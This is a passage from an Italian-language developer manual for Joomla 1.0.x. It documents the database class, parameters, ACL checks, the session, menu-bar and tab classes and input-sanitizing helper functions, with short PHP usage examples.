Esegue la query SQL impostata mediante il metodo `setQuery()`.

Restituisce un recordset (analogamente alla funzione PHP `mysql_query()`), oppure `false` in caso di errore.

2.3.11 Metodo getAffectedRows()

```
1 int getAffectedRows();
```

Listato 26: Sintassi getAffectedRows

Restituisce il numero di righe influenzate dall'ultima query eseguita, analogamente a quanto farebbe la funzione `mysql_affected_rows()`.

2.3.12 Metodo getNumRows()

```
1 int getNumRows();
```

Listato 27: Sintassi getNumRows

Restituisce il numero di righe ottenute dall'ultima query eseguita, analogamente a quanto farebbe la funzione `mysql_num_rows()`.

2.3.13 Metodo loadAssocList()

```
1 array loadAssocList([string $key=""]);
```

Listato 28: Sintassi loadAssocList

Restituisce un array associativo di tutte le righe dell'ultima query settata. Ciascuna riga è racchiusa a sua volta in un *array*.

Il parametro `$key` rappresenta il nome della chiave primaria e serve per creare le chiavi dell'array associativo. Se non viene settato alcun valore, l'array sarà sequenziale e non associativo.

Nota: `loadAssocList()` invoca al suo interno il metodo `query()`; pertanto se si decide di utilizzare questo metodo, non va invocato esplicitamente anche il metodo `query()`, altrimenti verrà eseguita una doppia interrogazione al database; cosa che comporta un errore nel caso in cui vengano utilizzati i parametri `offset` e `limit` del metodo `setQuery()`.

Nel caso in cui la query SQL sia errata, verrà restituito `null`, anziché l'array.

2.3.14 Metodo loadObjectList()

```
1 array loadObjectList([string $key=""]);
```

Listato 29: Sintassi loadObjectList

Restituisce un array associativo di tutte le righe dell'ultima query settata. Ciascuna riga è racchiusa in un *oggetto*.

Il parametro `$key` rappresenta il nome della chiave primaria e serve per creare le chiavi dell'array associativo. Se non viene settato alcun valore, l'array sarà sequenziale e non associativo.

Nota: `loadObjectList()` invoca al suo interno il metodo `query()`; pertanto se si decide di utilizzare questo metodo, non va invocato esplicitamente anche il metodo `query()`, altrimenti verrà eseguita una doppia interrogazione al database; cosa che comporta un errore nel caso in cui vengano utilizzati i parametri `offset` e `limit` del metodo `setQuery()`.

Nel caso in cui la query SQL sia errata, verrà restituito `null`, anzichè l'array.

2.3.15 Approfondimento su `loadAssocList()` e `loadObjectList()`

Si è visto che entrambi i metodi restituiscono un array ed hanno un parametro `$key` che rappresenta il nome della chiave primaria, che possiede cioè valori univoci per ciascun record.

Si è anche detto che nel caso in cui `$key` venga omissso, l'array restituito è sequenziale e non associativo; ciò significa che i vari elementi vengono reperiti mediante il normale sistema posizionale basato su indice.

Vediamo quindi con un esempio la differenza tra i due sistemi.

```

1 // impostazione della query SQL da eseguire
2 $database->setQuery("SELECT * FROM ...");
3
4 // recupero i record sotto forma di array sequenziale
5 $records = loadObjectList();
6
7 /*
8  i singoli record sono disponibili nella forma:
9  $records [0];
10 $records [1];
11 $records [2];
12 ...
13 $records [N-1];
14 */

```

Se invece `$key` viene specificato, l'array restituito è associativo ed i nomi delle chiavi dell'array sono i valori della chiave primaria `$key`:

```

1 // impostazione della query SQL da eseguire
2 $database->setQuery("SELECT * FROM ...");
3
4 // recupero i record sotto forma di array associativo
5 // "id" è il nome della chiave primaria
6 $records = loadObjectList("id");
7
8 /*
9  i singoli record sono disponibili nella forma:
10 $records["124"]; 124 è il valore della chiave primaria "id"
11 $records["467"]; 467 è il valore della chiave primaria "id"
12 $records["61"]; 61 è il valore della chiave primaria "id"
13 ...
14 */

```


2.3.16 Metodo loadResult()

```
1 string loadResult();
```

Listato 30: Sintassi loadResult

Restituisce il *primo campo del primo record* della query, oppure `null` se la query fallisce. Il valore restituito è genericamente una stringa, pertanto sarà compito dello sviluppatore convertirlo nel tipo necessario.

2.3.17 Metodo loadObject()

```
1 boolean loadObject(object &$object);
```

Listato 31: Sintassi loadObject

Ottiene il *primo record* della query, sotto forma di oggetto. Se viene passato l'argomento (per riferimento) `$object`, il record viene caricato all'interno di esso. Altrimenti se l'argomento vale `null`, l'oggetto viene creato. Restituisce `true` in caso di successo, `false` altrimenti.

2.3.18 Metodo loadRow()

```
1 array loadRow();
```

Listato 32: Sintassi loadRow

Restituisce il *primo record* della query, sotto forma di array sequenziale.

2.3.19 Metodo insertid()

```
1 int insertid();
```

Listato 33: Sintassi insertid

Restituisce l'ultimo valore di chiave primaria (di tipo `AUTOINCREMENT`) generato da MySQL.

2.3.20 Metodo insertObject()

```
1 boolean insertObject(string $table, object &$object[, string $keyName = NULL[, boolean ↵
↵ $verbose=false]);
```

Listato 34: Sintassi insertObject

Inserisce un *oggetto* nel database; metodo alternativo rispetto a `setQuery()` con una query di inserimento. Restituisce `true` in caso di successo, `false` altrimenti. I parametri sono:

`$table` nome della tabella (*compreso* l'eventuale prefisso) in cui inserire l'oggetto

`$object` oggetto da inserire; l'oggetto deve essere fatto in modo che i nomi delle sue proprietà siano uguali ai nomi dei campi della tabella; l'oggetto viene passato per *riferimento*

\$keyName nome della chiave primaria; se settato, al termine dell'inserimento verrà impostato il valore di \$object->\$keyName con l'ID generato da MySQL nella query di inserimento; in questo modo si crea un oggetto perfettamente coerente ed allineato al database

\$verbose modalità verbose

2.3.21 Metodo updateObject()

```
1 boolean updateObject(string $table, object &$object, string $keyName[, boolean $updateNulls ↵
    ↵ =true]);
```

Listato 35: Sintassi updateObject

Modifica un *oggetto* nel database; metodo alternativo rispetto a `setQuery()` con una query di aggiornamento. Restituisce `true` in caso di successo, `false` altrimenti. I parametri sono:

\$table nome della tabella (*compreso* l'eventuale prefisso) in cui è presente il record da aggiornare

\$object oggetto da modificare; l'oggetto deve essere fatto in modo che i nomi delle sue proprietà siano uguali ai nomi dei campi della tabella; l'oggetto viene passato per *riferimento*

\$keyName nome della chiave primaria, che non deve essere modificata; rappresenta il singolo record da modificare

\$updateNulls stabilisce se aggiornare i campi nulli

2.3.22 Metodo getPrefix()

```
1 string getPrefix();
```

Listato 36: Sintassi getPrefix

Restituisce il prefisso usato per i nomi delle tabelle del database.

2.3.23 Metodo explain()

```
1 string explain();
```

Listato 37: Sintassi explain

Restituisce una tabella HTML contenente la spiegazione della query SQL impostata dal metodo `setQuery()`, applicando la clausola SQL EXPLAIN.

2.3.24 Metodo getTables()

```
1 array getTables();
```

Listato 38: Sintassi getTables

Restituisce un array contenente i nomi di tutte le tabelle contenute nel database.

2.3.25 Metodo getTableFields()

```
1 array getTableFields(array $tables);
```

Listato 39: Sintassi getTableFields

Restituisce un array associativo a due dimensioni contenente i nomi dei campi delle tabelle passate come parametro.

La chiave della prima dimensione rappresenta il nome delle tabelle contenute nell'array \$tables. La chiave della seconda dimensione rappresenta il nome dei campi della tabella ed il suo valore è il tipo del campo.

Vediamo un esempio:

```
1 $tables = array("jos_content", "jos_users");
2 $fields = getTableFields($tables);
3
4 // l'array $fields contiene ora i dati nel formato
5 // $fields ["jos_content"]["title"] vale "VARCHAR"
6 // $fields ["jos_content"]["created"] vale "DATETIME"
7 // $fields ["jos_users"]["email"] vale "VARCHAR"
```

2.3.26 Metodo getVersion()

```
1 string getVersion();
```

Listato 40: Sintassi getVersion

Restituisce le informazioni di versione sul server MySQL, analogamente alla funzione di sistema mysql_get_server_info.

2.3.27 Esempio pratico

Per fare maggiore chiarezza, vediamo un esempio completo per il recupero di informazioni:

```
1 // si recuperano tutte le notizie non ancora scadute o senza scadenza, ordinate per titolo
2 $query = "SELECT id, title " .
3         "FROM #__content AS c " .
4         "WHERE publish_down > NOW() OR publish_down = 0 " .
5         "ORDER BY title";
6
7 $database->setQuery($query); // impostazione della query
8
9 // i risultati della query vengono inseriti in un array di oggetti;
10 // il metodo query() non va invocato esplicitamente perchè ci pensa già loadObjectList()
11 $notizie = $database->loadObjectList();
12
13 // se il valore è null significa che si è verificato un errore
14 // nella query e non ci sono risultati da visualizzare
15 if($notizie == null){
16     echo "Impossibile recuperare i dati";
17     return;
```

```

18 }
19
20 // si scorre l'array degli oggetti, visualizzando le informazioni
21 foreach($notizie as $notizia)
22     echo $notizia->id . " - " . $notizia->title . "<br />";

```

2.3.28 Utilizzo di database esterni

Quanto visto finora relativamente alla classe `database` è relativo al database all'interno del quale viene installato Joomla.

Tuttavia, in alcuni casi potrebbe essere necessario collegarsi a database differenti da quello principale, esterni a Joomla; è il caso ad esempio di un forum o di una gallery standalone, o semplicemente di un database dell'utente, separato dal resto.

In questi casi, non è necessario e consigliabile utilizzare le funzioni primitive di PHP per accedere al database, ma si può utilizzare nuovamente la classe `database`; l'unica cosa da fare è istanziare un nuovo oggetto, dopodichè è possibile utilizzare tutti i metodi visti finora.

Per istanziare un nuovo oggetto, è necessario richiamare il costruttore della classe:

```

1 $mioDatabase = new database($host, $user, $pass, $db, $table_prefix, $goOffline);

```

Il significato dei parametri è abbastanza ovvio:

`$host` nome host del server MySQL, di solito `localhost`

`$user` nome utente di MySQL

`$pass` password dell'utente MySQL

`$db` nome del database da usare

`$table_prefix` prefisso usato per il nome delle tabelle, in questo modo è possibile utilizzare il simbolo `#_`; "" indica nessun prefisso

`$goOffline` flag booleano che specifica il comportamento dell'oggetto in caso di errori; se vale `true` e si verifica un errore, il sito viene messo offline; se omesso vale `true`

Una volta istanziato l'oggetto è possibile utilizzare tutti i metodi della classe `database`:

```

1 $mioDatabase->setQuery("SELECT * FROM ...");
2 $mioDatabase->loadObjectList();
3 ...

```

L'unica cosa da ricordare, per evitare malfunzionamenti, è di usare un nome per l'oggetto diverso da quello usato da Joomla, ossia `$database`.

2.4 Oggetto `$params`

La variabile `$params` è un'istanza della classe `mosParameters` e serve a gestire i parametri di configurazione dei moduli, creati in fase di installazione (vedi sezione 3.1).

2.4.1 Metodo get()

```
1 string get(string $name, string $default);
```

Listato 41: Sintassi get

Restituisce il valore del parametro `$name`, oppure `$default` se il parametro non esiste. I nomi dei parametri sono quelli definiti nel file XML di installazione, argomento che verrà trattato più avanti nel manuale.

Vediamo un semplice esempio. Supponiamo di avere creato un modulo con un parametro³ numerico `newsToView` che rappresenta il numero di notizie da visualizzare nel modulo stesso; per recuperare il valore del parametro sarà necessario:

```
1 $num = intval($params->get("newsToView", "3"));
2
3 // $num contiene ora il valore del parametro newsToView, oppure 3 se non esiste.
4 // poichè il valore deve essere un numero intero, viene convertito con intval()
```

2.4.2 Metodo set()

```
1 string set(string $name, string $value);
```

Listato 42: Sintassi set

Metodo che imposta il parametro `$name` al valore `$value`. Restituisce il valore del parametro settato in forma di stringa.

2.4.3 Metodo def()

```
1 string def(string $name, string $default);
```

Listato 43: Sintassi def

Metodo che combina il funzionamento di `get()` e `set()`. Prima verifica l'esistenza del parametro `$name`; se esiste ne restituisce il valore, altrimenti ne imposta il valore a `$default` e lo restituisce.

2.5 Oggetto \$acl

E' un'istanza della classe `gac1_api`, che a sua volta estende la classe `gac1`; entrambe le classi sono derivate dal pacchetto `phpGACL` (vedi `phpgac1.sourceforge.net`).

La variabile si occupa di implementare un generico controllo degli accessi (*Generic Access Control List*), soprattutto a livello dei componenti in modo da stabilire *chi* ha accesso a *cosa*.

La classe `gac1` possiede pochi metodi, ma molto utili; in particolare il metodo `acl_check()` come vedremo più avanti.

³i parametri si modificano dal backend di Joomla, nelle proprietà del modulo

2.5.1 Metodo debug_text()

```
1 boolean debug_text(string $text);
```

Listato 44: Sintassi debug_text

Visualizza il messaggio di debug direttamente a video, nel caso in cui il debug sia abilitato a livello globale.

Restituisce sempre `true`.

2.5.2 Metodo debug_db()

```
1 boolean debug_db([string $function_name = '']);
```

Listato 45: Sintassi debug_db

Visualizza il messaggio di errore generato da MySQL direttamente a video, nel caso in cui il debug sia abilitato a livello globale.

L'unico argomento rappresenta il nome della funzione in cui si è verificato l'errore e serve solamente per rendere il messaggio di errore più esaustivo.

Restituisce sempre `true`.

2.5.3 Metodo acl_check()

```
1 boolean acl_check(string $aco_section_value, string $aco_value, string $aro_section_value,
2 string $aro_value[, string $axo_section_value=NULL[, string $axo_value=NULL]);
```

Listato 46: Sintassi acl_check

Verifica nelle liste di accesso di Joomla, se l'utente correntemente loggato ha l'autorizzazione per accedere ad una determinata risorsa. I parametri sono:

`$aco_section_value` classe degli oggetti di controllo (*Access Control Object*), ad esempio *administration*, *action*, ...

`$aco_value` tipo di azione di controllo da verificare, ad esempio *edit*, *manage*, *add*, *publish*, *install*, *config*, *login*, ...

`$aro_section_value` classe di utente che richiede l'azione da controllare (*Access Request Object*), solitamente *users*

`$aro_value` tipo di utente da controllare, ad esempio *manager*, *editor*, *publisher*, *administrator*, *super administrator*, ...

`$axo_section_value` classe di oggetti su cui eseguire le azioni (*Access eXtension Object*), ad esempio *modules*, *mambots*, *components*, ...

`$axo_value` specifica l'estensione da controllare, ad esempio *com_newsflash*; il valore predefinito `all` rappresenta la totalità, mentre il valore predefinito `own` rappresenta la proprietà di un oggetto ad un utente

Restituisce il valore booleano `true` o `false` a seconda che l'utente abbia o meno le autorizzazioni sugli oggetti relativi.

Deve quindi necessariamente essere valutato il valore restituito da tale metodo al fine di impedire accessi non autorizzati.

La versione corrente di Joomla (1.0.11) gestisce le liste di accesso attraverso array globali che vengono opportunamente configurati con le autorizzazioni predefinite, all'interno del codice sorgente stesso, quindi difficilmente gestibile dall'utente.

Future versioni (probabilmente la 2.0) implementeranno le liste direttamente sul database e permetteranno all'utente un maggiore controllo sulle ACL.

Un codice di controllo dell'autorizzazione, da inserire all'interno delle estensioni, potrebbe essere:

```

1 if (!( $acl->acl_check('administration', 'edit', 'users', $my->usertype, 'components', 'all') ||
2   $acl->acl_check('administration', 'edit', 'users', $my->usertype, 'components', 'com_mycomp'))) {
3   mosRedirect('index2.php', _NOT_AUTH);
4 }

```

Il codice verifica se la tipologia⁴ dell'utente corrente (argomento `$my->usertype`) può modificare (`'edit'`) i componenti in generale (`'components', 'all'`), oppure il componente `com_mycomp` in particolare (`'components', 'com_mycomp'`).

Per completezza viene riportato un frammento del codice sorgente della classe `gacl`, in cui vengono definite tutte le autorizzazioni predefinite di Joomla. Il codice fa uso del metodo `private _mos_add_acl()` che serve proprio per aggiungere una regola all'interno del sistema e di cui non ci occuperemo.

```

1 // access to modules
2 $this->_mos_add_acl('administration', 'install', 'users', 'administrator', 'modules', 'all');
3 $this->_mos_add_acl('administration', 'install', 'users', 'super administrator', 'modules', 'all');
4
5 $this->_mos_add_acl('administration', 'edit', 'users', 'super administrator', 'modules', 'all');
6 $this->_mos_add_acl('administration', 'edit', 'users', 'administrator', 'modules', 'all');
7
8 // access to mambots
9 $this->_mos_add_acl('administration', 'install', 'users', 'administrator', 'mambots', 'all');
10 $this->_mos_add_acl('administration', 'install', 'users', 'super administrator', 'mambots', 'all');
11
12 $this->_mos_add_acl('administration', 'edit', 'users', 'super administrator', 'mambots', 'all');
13 $this->_mos_add_acl('administration', 'edit', 'users', 'administrator', 'mambots', 'all');
14 // uncomment following to allow managers to edit modules
15 // array('administration', 'edit', 'users', 'manager', 'modules', 'all');

```

La classe `gacl_api` fornisce, inoltre, una serie di metodi molto dettagliati per gestire i gruppi di utenti. Tuttavia tali metodi non verranno trattati in questo manuale, ad esclusione di alcuni metodi di pura utilità.

2.5.4 Metodo `showarray()`

⁴ossia *Registered, Manager, Publisher, ...*

```
1 void showarray(string $array);
```

Listato 47: Sintassi showarray

Effettua il dump dell'array passato come argomento e ne visualizza il contenuto all'interno del tag HTML <pre>.

2.5.5 Metodo return_page()

```
1 void return_page(string $url);
```

Listato 48: Sintassi return_page

Ridire il browser sull'indirizzo passato come argomento, a meno che il debug sia attivato; in questo caso visualizza l'indirizzo senza ridirezione.

Se l'argomento è nullo, viene utilizzato il valore di `$_SERVER["HTTP_REFERER"]`.

2.5.6 Metodo count_all()

```
1 int count_all([mixed $arg=NULL]);
```

Listato 49: Sintassi count_all

Conta ricorsivamente tutti gli elementi *contenuti* in un array, anche multilivello.

Il metodo è differente dalla chiamata di sistema `count($arg, COUNT_RECURSIVE)` che include anche i sotto-array nel conteggio.

Nel caso in cui l'argomento sia uno scalare o un oggetto, restituisce 1.

2.5.7 Metodo get_group_id()

```
1 int get_group_id([string $name = null[, string $group_type = 'ARO']]) {
```

Listato 50: Sintassi get_group_id

Restituisce l'ID del gruppo passato come argomento, oppure `false` se il gruppo non esiste. I parametri sono:

`$name` nome del gruppo

`$group_type` tipo del gruppo; può assumere i valori "ARO" oppure "AXO"

In caso di nomi duplicati, restituisce `false`.

2.5.8 Metodo get_group_name()

```
1 int get_group_name([int $group_id = null[, string $group_type = 'ARO']]);
```

Listato 51: Sintassi get_group_name

Restituisce il nome del gruppo il cui ID è passato come argomento, oppure `false` se il gruppo non esiste. I parametri sono:

`$group_id` ID del gruppo

`$group_type` tipo del gruppo; può assumere i valori "ARO" oppure "AXO"

In caso di nomi duplicati, restituisce `false`.

2.5.9 Metodo `get_group_children()`

```
1 array get_group_children(int $group_id[, string $group_type = 'ARO'[, string $recurse = ' ←
    ↪ NO_RECURSE']]);
```

Listato 52: Sintassi `get_group_children`

Restituisce un array contenente tutti gli ID dei gruppi figli del gruppo passato come argomento, oppure `false` se il gruppo non esiste. I parametri sono:

`$group_id` ID del gruppo genitore

`$group_type` tipo del gruppo; può assumere i valori "ARO" oppure "AXO"

`$recurse` imposta la modalità di ricerca ricorsiva; può valere `RECURSE` e `NO_RECURSE`

2.5.10 Metodo `get_group_parents()`

```
1 array get_group_parents(int $group_id[, string $group_type = 'ARO'[, string $recurse = ' ←
    ↪ NO_RECURSE']]);
```

Listato 53: Sintassi `get_group_parents`

Restituisce un array contenente tutti gli ID dei gruppi genitori del gruppo passato come argomento, oppure `false` se il gruppo non esiste. I parametri sono:

`$group_id` ID del gruppo

`$group_type` tipo del gruppo; può assumere i valori "ARO" oppure "AXO"

`$recurse` imposta la modalità di ricerca ricorsiva; può assumere i valori `RECURSE`, `NO_RECURSE` e `RECURSE_INCL`

Oltre a questi metodi di pubblica utilità, sono presenti tutta una serie di metodi per gestire direttamente i gruppi e gli oggetti, quali `add_group()`, `add_object()`, `del_group()`, `add_group_object()`, ...

2.6 Classe mosUser

La classe rappresenta il singolo utente registrato su Joomla, e tutte le sue informazioni personali. Non possiede molti metodi, ma molte proprietà che possono essere utilizzate nel codice, tra cui:

`id` numero intero che rappresenta l'ID univoco dell'utente

`name` nome reale dell'utente

username nome utente per il login

password password codificata

email email dell'utente

usertype nome del gruppo di appartenenza (*Registered, Manager, ...*)

gid ID del gruppo di appartenenza (*Registered, Manager, Editor, ...*)

registerDate data di registrazione

lastvisitDate data dell'ultima visita

block indica se l'utente è bloccato (1) oppure no (0)

2.7 Classe mosMenuBar

Configurando i componenti di Joomla, ci si sarà resi conto che praticamente tutti possiedono una barra dei pulsanti per accedere alle varie funzionalità (*Pubblica, Salva, Annulla, Nuovo, Modifica, Aiuto, ...*).

Il loro utilizzo verrà illustrato più avanti nella sezione 10.2, ma la creazione di tali pulsanti avviene tramite i metodi della classe `mosMenuBar`, ad esempio:

```

1 // Apre la tabella che contiene i pulsanti
2 mosMenuBar::startTable();
3
4 // Aggiunge un pulsante di tipo "Nuovo" che esegue la funzione add_member
5 mosMenuBar::addNew('add_member');
6
7 // Aggiunge un pulsante con testo personalizzato, che esegue la funzione new_group
8 mosMenuBar::addNew('new_group', 'Nuovo gruppo');
9
10 // Aggiunge un pulsante di tipo "Modifica" che esegue la funzione edit
11 mosMenuBar::editList('edit');
12
13 // Aggiunge un pulsante di tipo "Salva" che esegue la funzione predefinita save
14 mosMenuBar::save();
15
16 // Aggiunge un pulsante di tipo "Cestino" che esegue la funzione remove
17 mosMenuBar::trash('remove');
18
19 // Chiude la tabella
20 mosMenuBar::endTable();

```

Ciascun pulsante è inserito all'interno di una tabella e ad esso è associata la funzione che deve essere eseguita quando viene premuto. A ciascun metodo della classe è associata un'immagine che rappresenta il tipo di pulsante. Inoltre la maggior parte dei metodi che creano i pulsanti possiedono i seguenti due parametri:

`$task` nome della funzione da eseguire

`$alt` testo alternativo del pulsante

La tabella 2 mostra i vari metodi della classe *mosMenuBar* con i relativi parametri e le immagini associate ai pulsanti:

Icona	Metodo
	<code>startTable()</code> Apre la tabella che contiene i pulsanti
	<code>endTable()</code> Chiude la tabella dei pulsanti
	<code>addNew([\$task = 'new'[, \$alt = 'Nuovo']])</code>
	<code>publish([\$task = 'publish'[, \$alt = 'Pubblica']])</code>
	<code>publishList([\$task = 'publish'[, \$alt = 'Pubblica']])</code>
	<code>makeDefault([\$task = 'default'[, \$alt = 'Predefinito']])</code>
	<code>assign([\$task = 'assign'[, \$alt = 'Assegna']])</code>
	<code>unpublish([\$task = 'unpublish'[, \$alt = 'Sospendi']])</code>
	<code>unpublishList([\$task = 'unpublish'[, \$alt = 'Sospendi']])</code>
	<code>archiveList([\$task = 'archive'[, \$alt = 'Archivia']])</code>
	<code>unarchiveList([\$task = 'unarchive'[, \$alt = 'Ripristina']])</code>
	<code>editList([\$task = 'edit'[, \$alt = 'Modifica']])</code>
	<code>editHtml([\$task = 'edit_source'[, \$alt = 'Mod. HTML']])</code>
	<code>editCss([\$task = 'edit_css'[, \$alt = 'Mod. CSS']])</code>
	<code>deleteList([\$msg = ''[, \$task = 'remove'[, \$alt = 'Cancella']]])</code> \$msg, testo da visualizzare dopo l'avvenuta eliminazione
	<code>trash([\$task = 'remove'[, \$alt = 'Cestina']])</code> Pulsante per spostare gli elementi nel cestino
	<code>preview([\$popup = ''[, \$updateEditors = false]])</code> Pulsante per la visualizzazione dell'anteprima \$popup, nome del file di popup (senza estensione); la variabile verrà utilizzata da Javascript










Icona	Metodo
	<code>help(\$ref[, \$com = false])</code> Apre un popup di help da <code>\$mosConfig_live_site/help/\$ref.html</code> Se l'argomento <code>\$com</code> è uguale a <code>true</code> , il file di aiuto viene cercato nella cartella <code>help</code> del componente, ossia: <code>\$mosConfig_live_site/administrator/components/COMP/help/\$ref.html</code> Il file di help può essere in formato HTML o XML <code>\$ref</code> , nome del file di help (senza estensione)
	<code>save([\$task = 'save'[, \$alt = 'Salva']])</code>
	<code>apply([\$task = 'apply'[, \$alt = 'Applica']])</code>
	<code>cancel([\$task = 'cancel'[, \$alt = 'Cancella']])</code> Pulsante di cancellazione che invoca l'operazione <code>cancel</code>
	<code>back()</code> Pulsante per tornare alla pagina precedente
	<code>media_manager(\$directory = '')</code> Apre un popup per caricare un'immagine sul server <code>\$directory</code> , directory in cui caricare i file
	<code>divider()</code> Inserisce un'immagine divisore tra i pulsanti
	<code>spacer([\$width = ''])</code> Inserisce un divisore testuale tra i pulsanti
	<code>custom(\$task = '', \$icon = '', \$iconOver = '', \$alt = '', \$listSelect = true)</code> Pulsante con parametri personalizzati <code>\$icon</code> , argomento inutilizzato <code>\$iconOver</code> , immagine da visualizzare per il pulsante (relativa al percorso <code>administrator/images</code>) <code>\$listSelect</code> : stabilisce il comportamento del pulsante in relazione alle voci visualizzate, come nel caso dell'elenco dei contenuti; se vale <code>true</code> almeno una voce deve essere selezionata (ad esempio <i>Modifica</i>); se vale <code>false</code> viene direttamente invocato il <code>task</code> impostato (ad esempio <i>Nuovo</i>)

Tabella 2: Metodi di `mosMenuBar`

2.8 Classe `mosSession`

La classe `mosSession` serve per gestire e manipolare le variabili di sessione; pertanto se si ha la necessità di implementare una propria logica applicativa basata sulle sessioni, è necessario utilizzare la presente classe.

Vediamo quindi quali sono i metodi principali della classe, ricordando che si tratta di una classe e non di una variabile di sistema, pertanto sarà necessario crearne un'istanza prima di poterla utilizzare.

2.8.1 Costruttore `mosSession()`

```
1 mosSession(object &$db);
```

Listato 54: Sintassi `mosSession`

Costruttore della classe il cui unico parametro è un riferimento ad un oggetto di classe `database`, quale ad esempio l'oggetto di sistema `$database`:

```
1 $mySession = new mosSession($database);
```

2.8.2 Metodo `get()`

```
1 mixed get(string $key[, mixed $default=null]);
```

Listato 55: Sintassi `get`

Metodo che restituisce il valore della variabile di sessione la cui chiave è contenuta nel parametro `$key`, oppure il valore `$default` se la chiave non esiste.

2.8.3 Metodo `set()`

```
1 mixed set(string $key, mixed $value);
```

Listato 56: Sintassi `set`

Metodo che imposta la variabile di sessione, la cui chiave è contenuta nel parametro `$key`, al valore `$value`. Restituisce il nuovo valore impostato.

2.8.4 Metodo `setFromRequest()`

```
1 mixed setFromRequest(string $key, string $varName[, mixed $default=null]);
```

Listato 57: Sintassi `setFromRequest`

Metodo che imposta la variabile di sessione, la cui chiave è contenuta nel parametro `$key`, al valore del parametro `$_REQUEST[$varName]`. Restituisce il nuovo valore impostato.

Se il parametro `$varName` non è settato, viene restituita la variabile di sessione `$key` oppure il valore di default `$default` se la variabile non è settata.

2.8.5 Metodo `generateId()`

```
1 void generateId();
```

Listato 58: Sintassi `generateId`

Metodo che genera un ID univoco di sessione.

2.8.6 Metodo getCookie()

```
1 string getCookie();
```

Listato 59: Sintassi getCookie

Metodo che restituisce il nome del cookie di sessione.

2.8.7 Metodo purge()

```
1 boolean purge([mixed $inc=1800[, string $and='']]);
```

Listato 60: Sintassi purge

Metodo che elimina le sessioni scadute.

I due parametri sono mantenuti per motivi di compatibilità, ma alla versione attuale di Joomla (la 1.0.11) il parametro `$inc` vale "core" ed il parametro `$and` non viene utilizzato.

Restituisce `true` o `false` a seconda dell'esito della cancellazione.

2.9 Classe mosTabs

La classe `mosTabs` serve per creare pagine HTML suddivise in tab, così come avviene ad esempio per la pagina di *Configurazione globale* di Joomla, suddivisa nei vari tab *Sito*, *Locale*, *Contenuti*, *Database*, *Server*, ...

Possiede un costruttore e quattro metodi non statici; vediamoli in dettaglio.

2.9.1 Costruttore mosTabs()

```
1 mosTabs(boolean $useCookies[, string $xhtml=NULL]);
```

Listato 61: Sintassi mosTabs

Costruttore della classe che include i file necessari alla gestione dei tab.

Il parametro `useCookies` serve ad impostare un cookie per memorizzare il tab selezionato in caso di refresh della pagina.

Il secondo parametro, se diverso da `null` rende l'output XHTML compliant.

2.9.2 Metodo startPane()

```
1 void startPane(string $id);
```

Listato 62: Sintassi startPane

Crea il riquadro che conterrà i vari tab, impostando il codice JavaScript necessario.

Il parametro `$id` rappresenta il nome del riquadro.

2.9.3 Metodo `endPane()`

```
1 void endPane();
```

Listato 63: Sintassi `endPane`

Chiude il riquadro dei tab.

2.9.4 Metodo `startTab()`

```
1 void startTab(string $tabText, string $paneid);
```

Listato 64: Sintassi `startTab`

Crea un nuovo tab con titolo `$tabText` ed inizia la pagina.

Il secondo parametro rappresenta il nome del riquadro (vedi sezione 2.9.2) all'interno del quale inserire il tab.

2.9.5 Metodo `endTab()`

```
1 void endTab();
```

Listato 65: Sintassi `endTab`

Chiude il tab aperto con `startTab()`.

2.10 Classe `mosCommonHTML`

E' una classe di supporto che fornisce alcuni utili metodi *statici* per semplificare la scrittura del codice.

I metodi della classe non sono molti, ma verranno analizzati solamente i più importanti ed utilizzati.

2.10.1 Metodo `loadOverLib()`

Questo metodo inserisce nella pagina i tag HTML per Javascript `<script src="..." />` necessari al funzionamento della funzione `mosToolTip()` (si veda sezione 2.28). La sintassi del metodo è:

```
1 void loadOverLib();
```

Listato 66: Sintassi `loadOverLib`

2.10.2 Metodo `loadCalendar()`

Questo metodo inserisce nella pagina i tag HTML `<script src="..." />` necessari al funzionamento del calendario in Javascript. La sintassi del metodo è:

```
1 void loadCalendar();
```

Listato 67: Sintassi `loadCalendar`

2.10.3 Metodo `ContentLegend()`

Visualizza una legenda (solitamente a fondo pagina) contenente le icone relative alla pubblicazione degli oggetti; per la precisione le icone *Publicato*, *ma In attesa*, *Publicato e Visibile*, *Publicato*, *ma Scaduto* e *Non pubblicato*.

Il metodo va utilizzato esclusivamente nei file di backend dei componenti, in quanto le icone utilizzate internamente dal metodo, sono presenti solamente nella cartella `administrator/images`. La sintassi del metodo è:

```
1 void ContentLegend();
```

Listato 68: Sintassi `ContentLegend`

2.11 Funzione `ampReplace()`

```
1 string ampReplace(string $text);
```

Listato 69: Sintassi `ampReplace`

Sostituisce `&` con `&` per avere compatibilità XHTML.

2.12 Funzione `josGetArrayInts()`

```
1 array josGetArrayInts(string $name[, array $type=null]);
```

Listato 70: Sintassi `josGetArrayInts`

Funzione aggiunta nella versione 1.0.11 di Joomla che estende e potenzia il funzionamento dell'altra funzione `mosArrayToInts()` (sezione 2.13).

Riceve il nome di un parametro inviato via GET, POST⁵ e rappresentante un array di valori, e li converte in numeri interi. Se il parametro non è un array, viene restituito un array di un solo elemento contenente il valore 0.

Il secondo parametro `$type` rappresenta l'array che contiene `$name`; se vale `null` viene utilizzato `$_POST`.

Vediamo un esempio pratico, supponendo di avere un form così formato:

```
1 <form method="post" action=...>
2   <input type="checkbox" name="cid[]" value="1">
3   <input type="checkbox" name="cid[]" value="2">
4   <input type="checkbox" name="cid[]" value="3">
5   ...
6 </form>
```

Lo script che deve elaborare i dati, riceve un parametro `cid`, che è un array contenente i valori selezionati nelle varie checkbox. Per essere sicuri che siano valori interi, si utilizza il codice:

```
1 $cid = array();
2 $cid = josGetArrayInts('cid');
```

In questo modo la variabile `$cid` conterrà solamente numeri interi.

⁵o altri array

2.13 Funzione `mosArrayToInts()`

```
1 array mosArrayToInts(array &$array[, string $default=null]);
```

Listato 71: Sintassi `mosArrayToInts`

Funzione che converte gli elementi di un array in valori interi, molto utile nel caso in cui debbano essere validati dei valori numerici.

Se il parametro `$array` (che viene passato per riferimento) è effettivamente un array, tutti i suoi elementi vengono convertiti in valori interi ed al termine della funzione l'array di partenza risulta modificato.

Se invece non è un array ma uno scalare, viene valutato anche il secondo parametro `$default`; se vale `null` la funzione restituisce un array vuoto, altrimenti restituisce un array di un elemento il cui valore è dato da `$default`.

2.14 Funzione `mosCreateMail()`

```
1 mixed mosCreateMail(string $from='', string $fromname='', string $subject, string $body);
```

Listato 72: Sintassi `mosCreateMail`

Funzione che prepara una mail con i parametri passati come argomento, ma non la invia. La mail viene creata in conformità alla classe `phpMailer`. I parametri sono:

`$from` indirizzo email del mittente

`$fromname` nome del mittente

`$subject` oggetto della mail

`$body` corpo della mail

